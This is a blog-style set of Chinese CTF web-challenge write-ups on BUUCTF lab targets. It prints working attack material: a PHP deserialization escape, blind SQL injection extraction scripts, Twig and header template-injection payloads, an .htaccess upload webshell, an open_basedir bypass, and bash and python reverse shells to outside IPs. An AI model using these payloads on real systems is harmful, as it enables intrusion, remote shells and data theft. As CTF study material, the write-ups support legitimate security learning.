打ctf(×)
被ctf打(√)
和之前极客大挑战一样的题,上传后缀为phtml即可
连上蚁剑,即可得到flag
给出了源码,去看了wp
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先查看phpinfo有什么?f=phpinfo
本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。
我们利用变量覆盖post一个:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
phpflag被替换为空后,$serialize_info的内容为
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
刚好把后面多余的img部分截断掉
最后POST提交:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
参考:王叹之:[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php
界面很炫,看不出名堂,看wp发现又是git泄露
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
是$$变量覆盖的问题
首先我们post值:$flag=flag
,那么就变为了$$flag=flag
get传参为yds=flag
这样随着源码执行以后就变成了 $yds=$flag;这里的$flag是真的flag,那么$$x = $$y,也就是$yds=flag{XXXXXX}。
又满足
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
查看robots.txt得到信息
没找到文件,看wp发现是image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
对单引号进行了过滤,无法闭合单引号,所以我们用\0
来转义掉它的单引号。\0
经过addslashes函数会先变成\\0
,然后经过str_replace函数,会变成\
,这样,就把id后面的单引号给转义了。
select * from images where id='\' or path=' or 1=1# //闭合成功
师傅脚本如下:
import requests
url = "http://9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn/image.php"
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
#payload = " or id=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
#users
#payload = " or id=if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
#password
payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
得到密码:f6be5fb688d9a417d057
,登录发现是文件上传
因为不允许上传带php的文件名,我们用php短标签来绕过:
可以用
=@eval($_POST['a']);?>
来代替。这个文件名,会被写入日志文件中去,然后用菜刀连接。
抓包传入
蚁剑连接,就可以在根目录得到flag
参考:
Mustapha Mond :刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
王叹之:[CISCN2019 总决赛 Day2 Web1]Easyweb
XFF头的ssti模板注入,不会,看wp
首先发一个包添加:X-Forwarded-For: test
可行,那么就开始执行语句了X-Forwarded-For: {{system('ls')}}
最后在根目录得到flag,X-Forwarded-For: {{system('cat /flag')}}
题目给出了源码:
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
借鉴师傅的文章:
$_GET['cmd']
和$_GET[cmd]
都可以$str{4}
在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理。${_GET}{cmd}
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
之后就是上传getshell了,php版本为7.2所以,不能用标签绕过
的过滤了,使用base64编码绕过,上传.htaccess:
#define width 1
#define height 1
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"
使用师傅脚本上传:
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"")
url = "http://e0ddff1c-0e40-477c-9983-2527568ece3b.node3.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
最后一关:绕过open_basedir/disable_function,bypass open_basedir的新方法,借鉴师傅的文章:
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
接下来使用payload找flag:
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
参考:
Mustapha Mond :刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
SUCTF 2019 Easyweb
Cyc1e:2019 SUCTF Web writeup
王叹之:[SUCTF 2019]EasyWeb
在user里只有admin,那么应该就是要使用admin登录,参考wp得
利用方式:
首先在内网注册一个邮箱账号
在注册处使用admin 注册,空格绕过
在登录处选择找回密码
发送完后更改自己的账号名称
在邮箱收到网址,更改密码即可登录admin账户,
然后就是找flag了,最后找到了一个miaoflag.txt的文件,下载即可得到flag
参考:
CVE-2020-7245 CTFd v2.0.0 – v2.2.2 account takeover分析
[V&N2020 公开赛]
u1s1,很拽,和ZJCTF出的的逆转思维很像,给出了源码:
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
使用伪协议读取
?text=php://input
然后POST方式提交 I have a dream 或者 ?text=data://text/plain,I have a dream
&file=php://filter/convert.base64-encode/resource=next.php
获得next.php的base64编码
看wp发现是preg_replace的/e漏洞
?\S*=xxxxxx
这样后面的xxx就会被当作命令执行
?\S*=${getflag()}&cmd=show_source("/flag");
?\S*=${eval($_POST[pass])}
POST提交:
pass=system("cat /flag");
参考链接:深入研究preg_replace与代码执行
不会,看wp又是一个Twig模板注入
输入{{7*'7'}}
那么就抓包查看发现注入点是user
师傅的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
参考:
服务端模板注入攻击
[BJDCTF2020]Cookie is so stable
给出了源码:
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
具体为什么这样可看链接
创建一个linux-labs,首先查看ip
在www/html下创建x.txt写入代码如下:
bash -i >& /dev/tcp/174.1.246.212/6666 0<&1 2>&1
然后操作之
?url=http://174.1.246.212/x.txt&filename=a
?url=&filename=bash a|
?url=file:bash a|&filename=xxx
监听端口:nc -lvp 6666
最后在根目录执行readflag
参考:
Hitcon2017 Web Writeup
HITCON2017-writeup整理
[hitcon2017] SSRF Me复现
看完wp这题是盲注,而且使用异或^
异或是一种逻辑运算,运算法则简言之就是:
两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null
?id=1^0^1
,返回id=0的结果,ERROR
?id=1^1^1
返回id =1的结果
那么构造 ?id=1^(length(database())>3)^1
,返回的是id=1的结果,即(length(database())>3) = 1,是真的,说明当前数据库的长度大于3
师傅脚本:
#二分法要快很多
# -*- coding: UTF-8 -*-
import re
import requests
import string
url = "http://649d4d3a-b8a5-449d-82fa-aad24102ca6d.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
师傅的二分法脚本跑的是真快
参考:
[极客大挑战 2019] SQL (二)
[极客大挑战 2019]FinalSQL
没思路,又登不上去,看wp发现是swp泄露
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'
.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "";
}else
{
***
}
***
?>
password前6个字符的md5加密值等于6d0bc1,师傅脚本如下:
import hashlib
list='0123456789'
for a in list:
for b in list:
for c in list:
for d in list:
for e in list:
for f in list:
for g in list:
str1 = (a+b+c+d+e+f+g)
value = hashlib.md5(str1.encode()).hexdigest()
if value[0:6] == '6d0bc1':
print(str1)
得到三个数,随便选一个就行
抓包发现返回包有一个地址
访问,wp说是SSI解析漏洞
在username变量中传入ssi语句来远程执行系统命令
先ls没发现有用信息,使用
发现flag
接下来读取即可
参考:[BJDCTF2020]EasySearch
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
下面有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除,那么就要反弹shell到自己的机器上
由于靶机不能访问外网,所以我们就要创一个小号来访问Basic上的靶机了,xshell连接,因为是python写的,所以用python反弹shell
ifconfig
获取IP地址
获取靶机的ip地址填入即可,我的为174.1.99.230,端口自己设置一个,这里为7777,
nc -lvp 7777
监听端口,多试了几次成功反弹
/shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.230',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
借用赵师傅的话:反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
在/proc/10/fd
找到了flag
参考链接:2020 年 V&N 内部考核赛 WriteUp
看wp后
查看源码看到客户端IP,猜测是把客户端的IP地址记录到数据库当中,经过尝试发现添加X-Forwarded-For可以修改ip,找到注入点
时间盲注即可,赵师傅则是将字符转为数字直接输出,效率高得多:
#!/usr/bin/env python3
import requests
target = "http://node3.buuoj.cn:29745/"
def execute_sql(sql):
print("[*]请求语句:" + sql)
return_result = ""
payload = "0'|length((" + sql + "))|'0"
session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度:" + str(length))
for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"
r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 查询上次IP时触发二次注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 再次查询得到结果
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')
print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))
return return_result
# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))
# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))
# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))
# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))